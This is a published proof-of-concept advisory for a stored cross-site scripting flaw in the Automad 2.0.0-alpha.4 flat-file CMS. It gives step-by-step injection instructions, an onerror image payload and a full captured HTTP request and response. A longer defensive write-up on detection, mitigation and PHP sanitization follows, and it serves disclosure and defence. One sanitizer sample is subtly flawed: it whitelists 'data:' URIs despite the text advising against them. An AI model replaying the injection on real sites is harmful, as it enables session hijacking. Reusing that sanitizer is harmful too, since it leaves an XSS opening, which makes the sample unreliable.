Automad 2.0.0-alpha.4 - Stored Cross-Site Scripting (XSS)

Exploit Author: Jerry Thomas Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-06-26
# Exploit Title: Automad 2.0.0-alpha.4 - Stored Cross-Site Scripting (XSS)
# Date: 20-06-2024
# Exploit Author: Jerry Thomas (w3bn00b3r)
# Vendor Homepage: https://automad.org
# Software Link: https://github.com/marcantondahmen/automad
# Category: Web Application [Flat File CMS]
# Version: 2.0.0-alpha.4
# Tested on: Docker version 26.1.4, build 5650f9b | Debian GNU/Linux 11
(bullseye)

# Description

A persistent (stored) cross-site scripting (XSS) vulnerability has been
identified in Automad 2.0.0-alpha.4. This vulnerability enables an attacker
to inject malicious JavaScript code into the template body. The injected
code is stored within the flat file CMS and is executed in the browser of
any user visiting the forum. This can result in session hijacking, data
theft, and other malicious activities.

# Proof-of-Concept

*Step-1:* Login as Admin & Navigate to the endpoint
http://localhost/dashboard/home

*Step-2:* There will be a default Welcome page. You will find an option to
edit it.

*Step-3:* Navigate to Content tab or
http://localhost/dashboard/page?url=%2F&section=text & edit the block named
***`Main`***

*Step-4:* Enter the XSS Payload - <img src=x onerror=alert(1)>


*Request:*

POST /_api/page/data HTTP/1.1

Host: localhost
Content-Length: 1822
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv
Accept: */*
Origin: http://localhost
Referer: http://localhost/dashboard/page?url=%2F&section=text
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:
Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb
Connection: close

------WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__csrf__"

49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1
------WebKitFormBoundaryzHmXQBdtZsTYQYCv
Content-Disposition: form-data; name="__json__"

{"data":{"title":"Welcome","+hero":{"blocks":[{"id":"KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph","type":"paragraph","data":{"text":"Testing
for
xss","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8","type":"paragraph","data":{"text":"<h1>XSS
identified by
Jerry</h1>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"},"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"You
have successfully installed Automad 2.<br><br><img src=x
onerror=alert(1)><br>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot","type":"buttons","data":{"primaryText":"Visit
Dashboard","primaryLink":"/dashboard","primaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingVertical":"0.5rem","paddingHorizontal":"1.5rem"},"primaryOpenInNewTab":false,"secondaryText":"","secondaryLink":"","secondaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingHorizontal":"1.5rem","paddingVertical":"0.5rem"},"secondaryOpenInNewTab":true,"justify":"start","gap":"1rem"},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"}},"theme_template":"project","dataFetchTime":"1718911139","url":"/"}
------WebKitFormBoundaryzHmXQBdtZsTYQYCv--


*Response:*

HTTP/1.1 200 OK

Server: nginx/1.24.0
Date: Thu, 20 Jun 2024 19:17:35 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 30`

{"code":200,"time":1718911055}


*Step-5:* XSS triggers when you go to homepage - http://localhost/


Automad 2.0.0-alpha.4 — Stored Cross-Site Scripting (XSS): Analysis, Detection & Mitigation

Overview

Automad 2.0.0-alpha.4 (a flat-file CMS) contains a stored (persistent) cross-site scripting vulnerability affecting editable template/body content. An attacker who can create or modify stored page content may persist malicious script or payloads that execute in browsers of visitors and administrators. This article explains the technical root causes at a high level, the practical impact, safe detection strategies, immediate mitigations, and secure coding fixes.

High-level technical analysis

Stored XSS occurs when user-supplied input is stored by the application and later rendered into pages without proper output encoding or sanitization for the rendering context. In CMS systems that allow HTML content in pages or blocks, the most common root causes are:

  • Rendering stored HTML blobs directly into responses without contextual escaping.
  • Allowing arbitrary attributes and protocols (e.g., javascript:) inside links or image URLs.
  • Insufficient sanitization of event handler attributes (attributes that begin with "on").

Impact and risk

Successful exploitation of stored XSS can allow attackers to:

  • Hijack user sessions or impersonate users by stealing cookies or performing actions in their context.
  • Perform account takeover of administrator sessions, escalate privileges, or modify site content.
  • Deliver malware, keyloggers, or phishing overlays to site visitors.

The severity depends on the privileges of impacted users (administrator access increases impact) and the presence of mitigating controls like Content Security Policy (CSP) and HttpOnly cookies.

Safe detection and verification (non-exploitative)

When assessing a live site, use defensive, non-malicious methods. Do not attempt to execute payloads on production sites you don't own. Instead, follow these steps in a controlled environment or on a staging copy:

  • Export or inspect stored page data files for unescaped HTML or suspicious attributes. Look for HTML blobs that include tags and attributes that should not be present for trusted content.
  • Use automated scanners in authenticated mode against a test instance to detect unsanitized HTML outputs.
  • Review templates and rendering code to confirm whether output is passed through an encoding or sanitization layer before insertion into HTML responses.

Immediate mitigations (fast, low-effort)

  • Upgrade: check the Automad project for a patched release and apply the vendor-provided update as soon as it is available. Patching is the primary mitigation.
  • Restrict write access: limit who can edit page content to trusted accounts until a patch is applied.
  • Harden cookies: ensure session cookies use HttpOnly, Secure, and appropriate SameSite attributes to reduce risk of theft via script.
  • Enforce a Content Security Policy (CSP) in report-only mode first, then enforce: this can limit script execution origins and reduce exploitability.

Longer-term remediations and secure design

Fixes should be applied to the application rendering pipeline and administration interfaces:

  • Contextual output encoding: escape values for the exact HTML context (HTML element body, attribute, URL, JavaScript, CSS) rather than relying on blacklists.
  • Sanitization for allowed HTML content: if the CMS accepts rich HTML blocks, sanitize input on save using a robust, well-maintained sanitizer with a whitelist approach.
  • Strict attribute and URL checking: disallow event handler attributes and forbid dangerous URI schemes (javascript:, data:) for URL-valued attributes unless explicitly required and validated.
  • Use secure templating layers that escape by default and allow controlled raw HTML only when intentionally provided and sanitized.

Secure coding examples (PHP)

1) Proper HTML escaping on output

<?php
// Safely output a stored string into an HTML context:
echo htmlspecialchars($storedHtmlFragment, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
?>

Explanation: htmlspecialchars() encodes special characters (<, >, &, " and ') so any stored markup is rendered as text instead of being interpreted as HTML. Use this for values that should not contain raw HTML. ENT_SUBSTITUTE prevents invalid byte sequences from breaking output.

2) Use a whitelist HTML sanitizer (recommended for rich text)

// Composer: composer require ezyang/htmlpurifier
require_once 'vendor/autoload.php';

$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,strong,em,a[href],ul,ol,li,br,img[src|alt|width|height]'); // adjust allowed set
$config->set('URI.SafeIframeRegexp', '%^https?://(www.youtube.com|player.vimeo.com)/%');
$purifier = new HTMLPurifier($config);

$clean = $purifier->purify($userProvidedHtml);
echo $clean;

Explanation: HTMLPurifier enforces a whitelist of allowed tags and attributes and normalizes or strips dangerous constructs. This is the recommended approach when allowing some HTML in user content. Adjust allowed tags to your application needs.

3) Strip dangerous attributes with DOMDocument (attribute-level sanitization)

<?php
function removeEventAttributesAndDangerousUris(string $html): string {
    $dom = new DOMDocument();
    libxml_use_internal_errors(true);
    $dom->loadHTML(mb_convert_encoding($html, 'HTML-ENTITIES', 'UTF-8'));
    libxml_clear_errors();

    $xpath = new DOMXPath($dom);
    foreach ($xpath->query('//@*') as $attr) {
        $name = strtolower($attr->nodeName);
        $value = $attr->nodeValue;
        // Remove event handler attributes (attributes that start with "on")
        if (strpos($name, 'on') === 0) {
            $attr->ownerElement->removeAttributeNode($attr);
            continue;
        }
        // Remove URI attributes that start with dangerous schemes
        if (in_array($name, ['href', 'src', 'xlink:href'])) {
            $val = trim($value);
            if (preg_match('#^[a-zA-Z0-9+.-]+:#', $val) && !preg_match('#^(https?|mailto|data):#i', $val)) {
                $attr->ownerElement->removeAttributeNode($attr);
            }
        }
    }

    // Return innerHTML of body
    $body = $dom->getElementsByTagName('body')->item(0);
    $out = '';
    foreach ($body->childNodes as $child) {
        $out .= $dom->saveHTML($child);
    }
    return $out;
}
?>

Explanation: This function parses the HTML with DOMDocument, removes attributes that begin with "on" (event handlers), and removes URI attributes using unexpected schemes. Use a well-tested library for production; this illustrates attribute-level cleaning logic.

4) Content-Security-Policy header (nginx example)

# nginx server block
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-PLACEHOLDER'; object-src 'none'; frame-ancestors 'none'; base-uri 'self';" always;

Explanation: CSP restricts sources for scripts, frames, and other resources. Using nonces or hashes for inline scripts and disallowing external script sources reduces the impact of stored XSS. Start with report-only to validate effects before enforcing.

Operational recommendations

  • Apply vendor patches promptly and subscribe to Automad security advisories or project issue trackers.
  • Harden administration interfaces: require multi-factor authentication for admin accounts and limit administrative access by IP where feasible.
  • Run automated security tests in CI: include SAST tools, dependency checks, and authenticated DAST against staging instances.
  • Monitor logs and integrity of content files; establish alerts for unexpected modifications or presence of unapproved HTML constructs.

Incident response checklist (if you discover exploitation)

  • Isolate and snapshot the affected system for forensics.
  • Identify the vector and pages where malicious content was stored and remove or sanitize the content.
  • Reset credentials for impacted users, rotate any exposed secrets, and force reauthentication if session leakage is suspected.
  • Apply fixes, harden configuration, and communicate transparently with affected users as required by policy or law.

Summary table

Aspect Recommendation
Immediate Restrict content editing, enable HttpOnly/Secure cookies, apply CSP (report-only → enforce)
Short-term Upgrade Automad to patched release; sanitize stored content; audit content files
Long-term Implement contextual escaping, whitelist sanitization, secure templating, and CI security checks

Final notes

Stored XSS in CMS platforms is a common and serious class of vulnerability. The correct fix combines prompt patching, limiting editing privileges, and robust input/output handling. Prefer established sanitization libraries and contextual output encoding rather than ad-hoc string filters. For production systems, verify fixes in a staging environment and adopt defense-in-depth (CSP, secure cookies, MFA) to reduce residual risk.